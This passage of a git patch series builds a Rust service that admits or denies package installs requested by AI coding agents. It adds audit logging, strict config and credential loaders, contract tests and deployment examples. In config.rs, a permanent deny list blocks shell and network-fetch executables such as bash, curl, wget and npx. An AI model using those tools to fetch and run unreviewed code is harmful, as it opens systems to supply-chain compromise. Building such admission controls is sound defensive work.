removing query and fragment data. + pub normalized_source_uri: Option, + /// SHA-256 digest of remote source content when supplied. + pub source_content_sha256: Option, + /// SHA-256 digest of the structured command vector; raw argv is never persisted. + pub command_sha256: String, + /// Reviewed dependency-manifest digest supplied with the request. + pub manifest_sha256: String, + /// Content-addressed artifact coordinates with no command argument token. + pub artifacts: Vec, +} + +/// Stable audit persistence error that never exposes paths or untrusted payload data. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum AuditError { + /// Serialization produced a record beyond the fixed audit-line budget. + RecordTooLarge, + /// JSON serialization failed. + Serialization, + /// The append-only sink could not durably persist the record. + StorageUnavailable, + /// The sink's internal serialization lock was poisoned. + LockUnavailable, + /// The system clock cannot produce a Unix timestamp. + ClockUnavailable, +} + +impl fmt::Display for AuditError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + let message = match self { + Self::RecordTooLarge => "audit record exceeds the bounded line size", + Self::Serialization => "audit record serialization failed", + Self::StorageUnavailable => "audit storage is unavailable", + Self::LockUnavailable => "audit writer lock is unavailable", + Self::ClockUnavailable => "audit timestamp is unavailable", + }; + formatter.write_str(message) + } +} + +impl std::error::Error for AuditError {} + +/// Append-only audit persistence boundary used by HTTP admission before returning a decision. +pub trait AuditSink: Send + Sync { + /// Append and durably persist one complete audit record. + fn append(&self, record: &AuditRecord) -> Result<(), AuditError>; +} + +/// Append-only NDJSON file sink with serialized, flush-and-sync writes. +pub struct FileAuditSink { + path: PathBuf, + writer_lock: Mutex<()>, +} + +impl FileAuditSink { + /// Create a file-backed sink. The file is opened lazily on each append. + pub fn new(path: impl Into) -> Self { + Self { + path: path.into(), + writer_lock: Mutex::new(()), + } + } + + fn open_append_only(&self) -> io::Result { + OpenOptions::new() + .create(true) + .append(true) + .open(Path::new(&self.path)) + } +} + +impl AuditSink for FileAuditSink { + fn append(&self, record: &AuditRecord) -> Result<(), AuditError> { + let encoded = encode_record(record)?; + let _guard = self + .writer_lock + .lock() + .map_err(|_| AuditError::LockUnavailable)?; + let mut file = self + .open_append_only() + .map_err(|_| AuditError::StorageUnavailable)?; + file.write_all(&encoded) + .and_then(|_| file.write_all(b"\n")) + .and_then(|_| file.flush()) + .and_then(|_| file.sync_data()) + .map_err(|_| AuditError::StorageUnavailable) + } +} + +/// In-memory append-only sink for embedding and deterministic tests. +#[derive(Default)] +pub struct MemoryAuditSink { + records: Mutex>, +} + +impl MemoryAuditSink { + /// Return a snapshot of records in durable append order. + pub fn records(&self) -> Result, AuditError> { + self.records + .lock() + .map(|records| records.clone()) + .map_err(|_| AuditError::LockUnavailable) + } +} + +impl AuditSink for MemoryAuditSink { + fn append(&self, record: &AuditRecord) -> Result<(), AuditError> { + let _ = encode_record(record)?; + self.records + .lock() + .map_err(|_| AuditError::LockUnavailable)? + .push(record.clone()); + Ok(()) + } +} + +/// Build minimized audit evidence from an admission request and its deterministic decision. +pub fn build_audit_record(intent: &InstallIntent, decision: &AdmissionDecision) -> AuditRecord { + AuditRecord { + timestamp_unix_ms: unix_timestamp_ms().unwrap_or_default(), + request_id: intent.request_id.clone(), + actor_id: intent.actor_id.clone(), + workspace_id: intent.workspace_id.clone(), + operation: intent.operation.clone(), + decision: decision.decision, + reason_codes: decision.reason_codes.clone(), + policy_id: decision.policy_id.clone(), + policy_revision: decision.policy_revision.clone(), + source_kind: intent.source.kind, + normalized_source_uri: decision.normalized_source_uri.clone(), + source_content_sha256: intent.source.content_sha256.clone(), + command_sha256: decision.command_sha256.clone(), + manifest_sha256: intent.manifest_sha256.clone(), + artifacts: intent.artifacts.iter().map(AuditArtifact::from).collect(), + } +} + +fn encode_record(record: &AuditRecord) -> Result, AuditError> { + let encoded = serde_json::to_vec(record).map_err(|_| AuditError::Serialization)?; + if encoded.len() > MAX_AUDIT_LINE_BYTES { + return Err(AuditError::RecordTooLarge); + } + Ok(encoded) +} + +fn unix_timestamp_ms() -> Result { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|duration| duration.as_millis()) + .map_err(|_| AuditError::ClockUnavailable) +} From 8ae3f668f983bddc5b6aa8dd313d6a0ce00cb4f3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:34:33 -0700 Subject: [PATCH 007/702] feat(security): enable production audit serialization --- crates/agent-artifact-admission/Cargo.toml | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/Cargo.toml b/crates/agent-artifact-admission/Cargo.toml index 71c26bc8..c3ff30cf 100644 --- a/crates/agent-artifact-admission/Cargo.toml +++ b/crates/agent-artifact-admission/Cargo.toml @@ -8,7 +8,5 @@ license = "MIT" [dependencies] ring = "0.17" serde = { version = "1", features = ["derive"] } -url = "2" - -[dev-dependencies] serde_json = "1" +url = "2" From b495bd9371f1e0bf7886562b8d93e5a8cb0c7b5d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:34:47 -0700 Subject: [PATCH 008/702] feat(security): expose append-only audit contract --- crates/agent-artifact-admission/src/lib.rs | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 68aaa492..32533c35 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,8 +1,13 @@ //! Fail-closed package-install admission primitives for AI coding agents. +mod audit; mod model; mod policy; +pub use audit::{ + AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, + build_audit_record, +}; pub use model::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, From 94483e1c581c59820a814077b7c82ef6dcb6b3ca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:39:51 -0700 Subject: [PATCH 009/702] test(security): lock admission config and credential contract --- .../tests/cli_contract.rs | 192 ++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cli_contract.rs diff --git a/crates/agent-artifact-admission/tests/cli_contract.rs b/crates/agent-artifact-admission/tests/cli_contract.rs new file mode 100644 index 00000000..1d284829 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cli_contract.rs @@ -0,0 +1,192 @@ +use std::fs; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, CredentialFile, + load_admin_token, load_config, parse_cli_args, validate_service_config, +}; + +fn digest(byte: char) -> String { + std::iter::repeat_n(byte, 64).collect() +} + +fn valid_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-08-29.1".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: digest('a'), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: digest('b'), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }], + } +} + +fn valid_config() -> AdmissionServiceConfig { + AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: valid_policy(), + } +} + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock must be after epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-config-{label}-{}-{nonce}.json", + std::process::id() + )) +} + +#[test] +fn strict_cli_requires_exactly_one_config_and_credentials_path() { + let args = vec![ + "--config".to_string(), + "/etc/wardnet/admission.json".to_string(), + "--credentials".to_string(), + "/run/secrets/admission.json".to_string(), + ]; + let parsed = parse_cli_args(&args).expect("valid CLI must parse"); + assert_eq!(parsed.config_path, "/etc/wardnet/admission.json"); + assert_eq!(parsed.credentials_path, "/run/secrets/admission.json"); + + for invalid in [ + vec!["--config", "a"], + vec!["--credentials", "b"], + vec!["--config", "a", "--config", "b", "--credentials", "c"], + vec!["--config", "a", "--credentials", "b", "--credentials", "c"], + vec!["--config", "a", "--credentials"], + vec!["--config", "a", "--credentials", "b", "extra"], + vec!["--config", "a", "--credentials", "b", "--unknown", "x"], + ] { + let invalid: Vec = invalid.into_iter().map(str::to_string).collect(); + assert!(parse_cli_args(&invalid).is_err(), "accepted invalid argv: {invalid:?}"); + } +} + +#[test] +fn service_config_rejects_unsafe_boundaries_and_policy_drift() { + let mut cases = Vec::new(); + + let mut config = valid_config(); + config.configuration_version = "2".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.bind_address = "0.0.0.0:8787".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.max_request_body_bytes = 0; + cases.push(config); + + let mut config = valid_config(); + config.max_request_body_bytes = 2 * 1024 * 1024; + cases.push(config); + + let mut config = valid_config(); + config.audit_log_path.clear(); + cases.push(config); + + let mut config = valid_config(); + config.policy.allowed_executables.push("npm".to_string()); + cases.push(config); + + let mut config = valid_config(); + config.policy.allowed_executables = vec!["bash".to_string()]; + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_manifests.push(config.policy.approved_manifests[0].clone()); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_manifests[0].sha256 = "ABC".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts.push(config.policy.approved_artifacts[0].clone()); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts[0].version = "latest".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts[0].registry_url = "http://registry.example".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts[0].artifact_argument.clear(); + cases.push(config); + + for config in cases { + assert!(validate_service_config(&config).is_err(), "unsafe config validated: {config:?}"); + } + + assert!(validate_service_config(&valid_config()).is_ok()); +} + +#[test] +fn loaders_are_bounded_strict_and_do_not_accept_short_credentials() { + let config_path = temp_path("config"); + fs::write( + &config_path, + serde_json::to_vec(&valid_config()).expect("config must serialize"), + ) + .expect("config fixture must write"); + let loaded = load_config(&config_path).expect("valid config must load"); + assert_eq!(loaded, valid_config()); + + fs::write( + &config_path, + br#"{"configuration_version":"1","bind_address":"127.0.0.1:8787","max_request_body_bytes":1024,"audit_log_path":"audit.ndjson","policy":{"policy_id":"deny-all","policy_revision":"1","allowed_executables":[],"approved_manifests":[],"approved_artifacts":[]},"extra":true}"#, + ) + .expect("strict config fixture must write"); + assert!(load_config(&config_path).is_err()); + + let credential_path = temp_path("credentials"); + let credential = CredentialFile { + admin_token: "0123456789abcdef0123456789abcdef".to_string(), + }; + fs::write( + &credential_path, + serde_json::to_vec(&credential).expect("credential must serialize"), + ) + .expect("credential fixture must write"); + assert_eq!( + load_admin_token(&credential_path).expect("valid credential must load"), + credential.admin_token + ); + + fs::write(&credential_path, br#"{"admin_token":"short"}"#) + .expect("short credential fixture must write"); + assert!(load_admin_token(&credential_path).is_err()); + + fs::write( + &credential_path, + serde_json::to_vec(&CredentialFile { + admin_token: "x".repeat(4097), + }) + .expect("oversized credential fixture must serialize"), + ) + .expect("oversized credential fixture must write"); + assert!(load_admin_token(&credential_path).is_err()); + + let _ = fs::remove_file(config_path); + let _ = fs::remove_file(credential_path); +} From 497fe088b7fd67ce6e2391697ae5e40eafe4fc90 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:41:46 -0700 Subject: [PATCH 010/702] feat(security): add strict admission config loading --- crates/agent-artifact-admission/src/config.rs | 294 ++++++++++++++++++ 1 file changed, 294 insertions(+) create mode 100644 crates/agent-artifact-admission/src/config.rs diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs new file mode 100644 index 00000000..3cb8b464 --- /dev/null +++ b/crates/agent-artifact-admission/src/config.rs @@ -0,0 +1,294 @@ +use std::collections::BTreeSet; +use std::fmt; +use std::fs::File; +use std::io::{self, Read}; +use std::net::SocketAddr; +use std::path::{Path, PathBuf}; + +use serde::{Deserialize, Serialize}; +use url::Url; + +use crate::{AdmissionPolicy, is_sha256_hex}; + +const MAX_CONFIG_FILE_BYTES: u64 = 1024 * 1024; +const MAX_CREDENTIAL_FILE_BYTES: u64 = 16 * 1024; +const MAX_REQUEST_BODY_BYTES: usize = 1024 * 1024; +const MAX_ADMIN_TOKEN_BYTES: usize = 4096; +const MIN_ADMIN_TOKEN_BYTES: usize = 32; + +/// Immutable process configuration for the agent-artifact admission service. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AdmissionServiceConfig { + /// Configuration schema version. Version `1` is the only supported revision. + pub configuration_version: String, + /// TCP listener address. The service accepts loopback addresses only. + pub bind_address: String, + /// Maximum accepted request body size in bytes. + pub max_request_body_bytes: usize, + /// Append-only NDJSON audit destination. + pub audit_log_path: String, + /// Reviewed admission policy applied to every install request. + pub policy: AdmissionPolicy, +} + +/// Strict credentials document loaded from a protected file. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct CredentialFile { + /// Bearer token required by the admission endpoint. + pub admin_token: String, +} + +/// Strict command-line arguments accepted by the standalone service. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct CliArgs { + /// Path to the reviewed service configuration document. + pub config_path: String, + /// Path to the protected credentials document. + pub credentials_path: String, +} + +/// Stable configuration failure that does not expose file content or secret material. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ConfigError { + /// Command-line arguments are missing, duplicated, or unknown. + InvalidArguments, + /// A configuration or credentials file could not be read. + Io, + /// A bounded file exceeded its fixed byte budget. + FileTooLarge, + /// JSON was malformed or contained unknown fields. + InvalidJson, + /// Service configuration violated a fail-closed invariant. + InvalidConfiguration, + /// Credential material violated the token contract. + InvalidCredential, +} + +impl fmt::Display for ConfigError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + let message = match self { + Self::InvalidArguments => "invalid admission service arguments", + Self::Io => "admission configuration is unavailable", + Self::FileTooLarge => "admission configuration exceeds its size limit", + Self::InvalidJson => "admission configuration JSON is invalid", + Self::InvalidConfiguration => "admission service configuration is unsafe", + Self::InvalidCredential => "admission credential is invalid", + }; + formatter.write_str(message) + } +} + +impl std::error::Error for ConfigError {} + +/// Parse the only supported CLI shape: one `--config` path and one `--credentials` path. +pub fn parse_cli_args(args: &[String]) -> Result { + let mut config_path = None; + let mut credentials_path = None; + let mut index = 0; + + while index < args.len() { + let flag = args[index].as_str(); + let Some(value) = args.get(index + 1) else { + return Err(ConfigError::InvalidArguments); + }; + if value.is_empty() || value.starts_with("--") { + return Err(ConfigError::InvalidArguments); + } + + match flag { + "--config" if config_path.is_none() => config_path = Some(value.clone()), + "--credentials" if credentials_path.is_none() => credentials_path = Some(value.clone()), + _ => return Err(ConfigError::InvalidArguments), + } + index += 2; + } + + match (config_path, credentials_path) { + (Some(config_path), Some(credentials_path)) => Ok(CliArgs { + config_path, + credentials_path, + }), + _ => Err(ConfigError::InvalidArguments), + } +} + +/// Load and validate a bounded, strict JSON service configuration document. +pub fn load_config(path: &Path) -> Result { + let bytes = read_bounded(path, MAX_CONFIG_FILE_BYTES)?; + let config: AdmissionServiceConfig = + serde_json::from_slice(&bytes).map_err(|_| ConfigError::InvalidJson)?; + validate_service_config(&config)?; + Ok(config) +} + +/// Load the bounded credentials document and return its validated bearer token. +pub fn load_admin_token(path: &Path) -> Result { + let bytes = read_bounded(path, MAX_CREDENTIAL_FILE_BYTES)?; + let credential: CredentialFile = + serde_json::from_slice(&bytes).map_err(|_| ConfigError::InvalidJson)?; + validate_admin_token(&credential.admin_token)?; + Ok(credential.admin_token) +} + +/// Validate all service and policy invariants before any listener is bound. +pub fn validate_service_config(config: &AdmissionServiceConfig) -> Result<(), ConfigError> { + if config.configuration_version != "1" { + return Err(ConfigError::InvalidConfiguration); + } + + let bind_address: SocketAddr = config + .bind_address + .parse() + .map_err(|_| ConfigError::InvalidConfiguration)?; + if !bind_address.ip().is_loopback() || bind_address.port() == 0 { + return Err(ConfigError::InvalidConfiguration); + } + + if config.max_request_body_bytes == 0 + || config.max_request_body_bytes > MAX_REQUEST_BODY_BYTES + { + return Err(ConfigError::InvalidConfiguration); + } + + if !valid_text_field(&config.audit_log_path, 4096) || config.audit_log_path.contains('\0') { + return Err(ConfigError::InvalidConfiguration); + } + + validate_policy(&config.policy) +} + +fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { + if !valid_text_field(&policy.policy_id, 256) || !valid_text_field(&policy.policy_revision, 256) { + return Err(ConfigError::InvalidConfiguration); + } + + let mut executables = BTreeSet::new(); + for executable in &policy.allowed_executables { + if !valid_executable(executable) + || is_permanently_forbidden_executable(executable) + || !executables.insert(executable.as_str()) + { + return Err(ConfigError::InvalidConfiguration); + } + } + + let mut manifests = BTreeSet::new(); + for manifest in &policy.approved_manifests { + if !valid_text_field(&manifest.workspace_id, 512) + || !is_sha256_hex(&manifest.sha256) + || !manifests.insert((manifest.workspace_id.as_str(), manifest.sha256.as_str())) + { + return Err(ConfigError::InvalidConfiguration); + } + } + + let mut artifacts = BTreeSet::new(); + for artifact in &policy.approved_artifacts { + if !valid_text_field(&artifact.ecosystem, 64) + || !valid_text_field(&artifact.name, 512) + || !valid_pinned_version(&artifact.version) + || !valid_https_registry(&artifact.registry_url) + || !valid_text_field(&artifact.owner, 512) + || !is_sha256_hex(&artifact.sha256) + || !valid_text_field(&artifact.artifact_argument, 1024) + || !artifacts.insert(( + artifact.ecosystem.as_str(), + artifact.name.as_str(), + artifact.version.as_str(), + artifact.registry_url.as_str(), + )) + { + return Err(ConfigError::InvalidConfiguration); + } + } + + Ok(()) +} + +fn validate_admin_token(token: &str) -> Result<(), ConfigError> { + if token.len() < MIN_ADMIN_TOKEN_BYTES + || token.len() > MAX_ADMIN_TOKEN_BYTES + || !token.as_bytes().iter().all(|byte| (0x21..=0x7e).contains(byte)) + { + return Err(ConfigError::InvalidCredential); + } + Ok(()) +} + +fn valid_text_field(value: &str, maximum_bytes: usize) -> bool { + !value.is_empty() + && value.len() <= maximum_bytes + && !value.chars().any(char::is_control) +} + +fn valid_executable(value: &str) -> bool { + valid_text_field(value, 128) + && !value.contains('/') + && !value.contains('\\') + && value + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_' | b'.' | b'+')) +} + +fn is_permanently_forbidden_executable(executable: &str) -> bool { + matches!( + executable, + "sh" | "bash" + | "zsh" + | "cmd" + | "powershell" + | "pwsh" + | "curl" + | "wget" + | "aria2c" + | "ftp" + | "scp" + | "npx" + | "pnpx" + | "bunx" + ) +} + +fn valid_pinned_version(version: &str) -> bool { + if !valid_text_field(version, 256) { + return false; + } + let lowercase = version.to_ascii_lowercase(); + if matches!(lowercase.as_str(), "latest" | "main" | "master" | "head" | "stable" | "next") { + return false; + } + !version + .chars() + .any(|character| character.is_whitespace() || "*^~<>=,|".contains(character)) +} + +fn valid_https_registry(registry_url: &str) -> bool { + let Ok(url) = Url::parse(registry_url) else { + return false; + }; + url.scheme() == "https" + && url.host_str().is_some() + && url.username().is_empty() + && url.password().is_none() + && url.query().is_none() + && url.fragment().is_none() +} + +fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { + let file = File::open(PathBuf::from(path)).map_err(|_| ConfigError::Io)?; + let mut bytes = Vec::new(); + file.take(maximum_bytes + 1) + .read_to_end(&mut bytes) + .map_err(|_| ConfigError::Io)?; + if bytes.len() as u64 > maximum_bytes { + return Err(ConfigError::FileTooLarge); + } + Ok(bytes) +} + +#[allow(dead_code)] +fn _map_io_error(_: io::Error) -> ConfigError { + ConfigError::Io +} From cb790893f58320b5a4363cb0357cf250f5de9f80 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:42:08 -0700 Subject: [PATCH 011/702] feat(security): expose strict admission configuration --- crates/agent-artifact-admission/src/lib.rs | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 32533c35..023a1a85 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,6 +1,7 @@ //! Fail-closed package-install admission primitives for AI coding agents. mod audit; +mod config; mod model; mod policy; @@ -8,6 +9,10 @@ pub use audit::{ AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, build_audit_record, }; +pub use config::{ + AdmissionServiceConfig, CliArgs, ConfigError, CredentialFile, load_admin_token, load_config, + parse_cli_args, validate_service_config, +}; pub use model::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, From 5f7f61cc2786cbc976a2cbccf20d4cffe84e13de Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:43:35 -0700 Subject: [PATCH 012/702] fix(ci): format strict admission configuration --- crates/agent-artifact-admission/src/config.rs | 31 +++++++++---------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index 3cb8b464..ffcd808e 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -1,9 +1,9 @@ use std::collections::BTreeSet; use std::fmt; use std::fs::File; -use std::io::{self, Read}; +use std::io::Read; use std::net::SocketAddr; -use std::path::{Path, PathBuf}; +use std::path::Path; use serde::{Deserialize, Serialize}; use url::Url; @@ -146,8 +146,7 @@ pub fn validate_service_config(config: &AdmissionServiceConfig) -> Result<(), Co return Err(ConfigError::InvalidConfiguration); } - if config.max_request_body_bytes == 0 - || config.max_request_body_bytes > MAX_REQUEST_BODY_BYTES + if config.max_request_body_bytes == 0 || config.max_request_body_bytes > MAX_REQUEST_BODY_BYTES { return Err(ConfigError::InvalidConfiguration); } @@ -160,7 +159,8 @@ pub fn validate_service_config(config: &AdmissionServiceConfig) -> Result<(), Co } fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { - if !valid_text_field(&policy.policy_id, 256) || !valid_text_field(&policy.policy_revision, 256) { + if !valid_text_field(&policy.policy_id, 256) || !valid_text_field(&policy.policy_revision, 256) + { return Err(ConfigError::InvalidConfiguration); } @@ -210,7 +210,10 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { fn validate_admin_token(token: &str) -> Result<(), ConfigError> { if token.len() < MIN_ADMIN_TOKEN_BYTES || token.len() > MAX_ADMIN_TOKEN_BYTES - || !token.as_bytes().iter().all(|byte| (0x21..=0x7e).contains(byte)) + || !token + .as_bytes() + .iter() + .all(|byte| (0x21..=0x7e).contains(byte)) { return Err(ConfigError::InvalidCredential); } @@ -218,9 +221,7 @@ fn validate_admin_token(token: &str) -> Result<(), ConfigError> { } fn valid_text_field(value: &str, maximum_bytes: usize) -> bool { - !value.is_empty() - && value.len() <= maximum_bytes - && !value.chars().any(char::is_control) + !value.is_empty() && value.len() <= maximum_bytes && !value.chars().any(char::is_control) } fn valid_executable(value: &str) -> bool { @@ -256,7 +257,10 @@ fn valid_pinned_version(version: &str) -> bool { return false; } let lowercase = version.to_ascii_lowercase(); - if matches!(lowercase.as_str(), "latest" | "main" | "master" | "head" | "stable" | "next") { + if matches!( + lowercase.as_str(), + "latest" | "main" | "master" | "head" | "stable" | "next" + ) { return false; } !version @@ -277,7 +281,7 @@ fn valid_https_registry(registry_url: &str) -> bool { } fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { - let file = File::open(PathBuf::from(path)).map_err(|_| ConfigError::Io)?; + let file = File::open(path).map_err(|_| ConfigError::Io)?; let mut bytes = Vec::new(); file.take(maximum_bytes + 1) .read_to_end(&mut bytes) @@ -287,8 +291,3 @@ fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> } Ok(bytes) } - -#[allow(dead_code)] -fn _map_io_error(_: io::Error) -> ConfigError { - ConfigError::Io -} From 45e41f279f07610e2b10580a91b114d1d3e3e66a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:44:05 -0700 Subject: [PATCH 013/702] fix(ci): format admission config contract tests --- .../tests/cli_contract.rs | 24 +++++++++++++++---- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/tests/cli_contract.rs b/crates/agent-artifact-admission/tests/cli_contract.rs index 1d284829..717b7755 100644 --- a/crates/agent-artifact-admission/tests/cli_contract.rs +++ b/crates/agent-artifact-admission/tests/cli_contract.rs @@ -74,7 +74,10 @@ fn strict_cli_requires_exactly_one_config_and_credentials_path() { vec!["--config", "a", "--credentials", "b", "--unknown", "x"], ] { let invalid: Vec = invalid.into_iter().map(str::to_string).collect(); - assert!(parse_cli_args(&invalid).is_err(), "accepted invalid argv: {invalid:?}"); + assert!( + parse_cli_args(&invalid).is_err(), + "accepted invalid argv: {invalid:?}" + ); } } @@ -111,7 +114,10 @@ fn service_config_rejects_unsafe_boundaries_and_policy_drift() { cases.push(config); let mut config = valid_config(); - config.policy.approved_manifests.push(config.policy.approved_manifests[0].clone()); + config + .policy + .approved_manifests + .push(config.policy.approved_manifests[0].clone()); cases.push(config); let mut config = valid_config(); @@ -119,7 +125,10 @@ fn service_config_rejects_unsafe_boundaries_and_policy_drift() { cases.push(config); let mut config = valid_config(); - config.policy.approved_artifacts.push(config.policy.approved_artifacts[0].clone()); + config + .policy + .approved_artifacts + .push(config.policy.approved_artifacts[0].clone()); cases.push(config); let mut config = valid_config(); @@ -131,11 +140,16 @@ fn service_config_rejects_unsafe_boundaries_and_policy_drift() { cases.push(config); let mut config = valid_config(); - config.policy.approved_artifacts[0].artifact_argument.clear(); + config.policy.approved_artifacts[0] + .artifact_argument + .clear(); cases.push(config); for config in cases { - assert!(validate_service_config(&config).is_err(), "unsafe config validated: {config:?}"); + assert!( + validate_service_config(&config).is_err(), + "unsafe config validated: {config:?}" + ); } assert!(validate_service_config(&valid_config()).is_ok()); From 5f41e1e46aeb4a8568f6e936b8340ccd914a5fd6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:46:10 -0700 Subject: [PATCH 014/702] feat(security): add deny-all admission deployment example --- deploy/agent-artifact-admission.example.json | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 deploy/agent-artifact-admission.example.json diff --git a/deploy/agent-artifact-admission.example.json b/deploy/agent-artifact-admission.example.json new file mode 100644 index 00000000..d22c6ab7 --- /dev/null +++ b/deploy/agent-artifact-admission.example.json @@ -0,0 +1,13 @@ +{ + "configuration_version": "1", + "bind_address": "127.0.0.1:8787", + "max_request_body_bytes": 65536, + "audit_log_path": "/var/lib/wardnet/agent-artifact-admission.ndjson", + "policy": { + "policy_id": "deny-all", + "policy_revision": "example-v1", + "allowed_executables": [], + "approved_manifests": [], + "approved_artifacts": [] + } +} From afc535c32251193751238e45cd102909bb10eaee Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:46:25 -0700 Subject: [PATCH 015/702] feat(security): publish admission credential schema --- ...artifact-admission.credentials.schema.json | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 deploy/agent-artifact-admission.credentials.schema.json diff --git a/deploy/agent-artifact-admission.credentials.schema.json b/deploy/agent-artifact-admission.credentials.schema.json new file mode 100644 index 00000000..4537fa8e --- /dev/null +++ b/deploy/agent-artifact-admission.credentials.schema.json @@ -0,0 +1,20 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://contextualwisdomlab.github.io/wardnet/schemas/agent-artifact-admission.credentials.schema.json", + "title": "Wardnet Agent Artifact Admission Credentials", + "description": "Strict credentials document for the loopback-only agent artifact admission service. Keep this document outside source control and restrict filesystem access to the service account.", + "type": "object", + "additionalProperties": false, + "required": [ + "admin_token" + ], + "properties": { + "admin_token": { + "type": "string", + "minLength": 32, + "maxLength": 4096, + "pattern": "^[!-~]{32,4096}$", + "description": "Printable ASCII bearer token presented in X-Admin-Token. Do not log or persist the raw value." + } + } +} From 6405a9914f2f3827f6eef43f5d621b5cbb1fe78c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 29 Aug 2026 05:01:36 -0700 Subject: [PATCH 016/702] test(security): define authenticated admission API contract --- .../agent-admission-lock-refresh.yml | 37 ++ crates/agent-artifact-admission/Cargo.toml | 5 + .../tests/http_contract.rs | 317 ++++++++++++++++++ 3 files changed, 359 insertions(+) create mode 100644 .github/workflows/agent-admission-lock-refresh.yml create mode 100644 crates/agent-artifact-admission/tests/http_contract.rs diff --git a/.github/workflows/agent-admission-lock-refresh.yml b/.github/workflows/agent-admission-lock-refresh.yml new file mode 100644 index 00000000..3d6af80e --- /dev/null +++ b/.github/workflows/agent-admission-lock-refresh.yml @@ -0,0 +1,37 @@ +name: Refresh agent admission lockfile + +on: + push: + branches: + - feat/agent-artifact-admission + paths: + - crates/agent-artifact-admission/Cargo.toml + - .github/workflows/agent-admission-lock-refresh.yml + +permissions: + contents: write + +jobs: + refresh-lockfile: + if: github.actor != 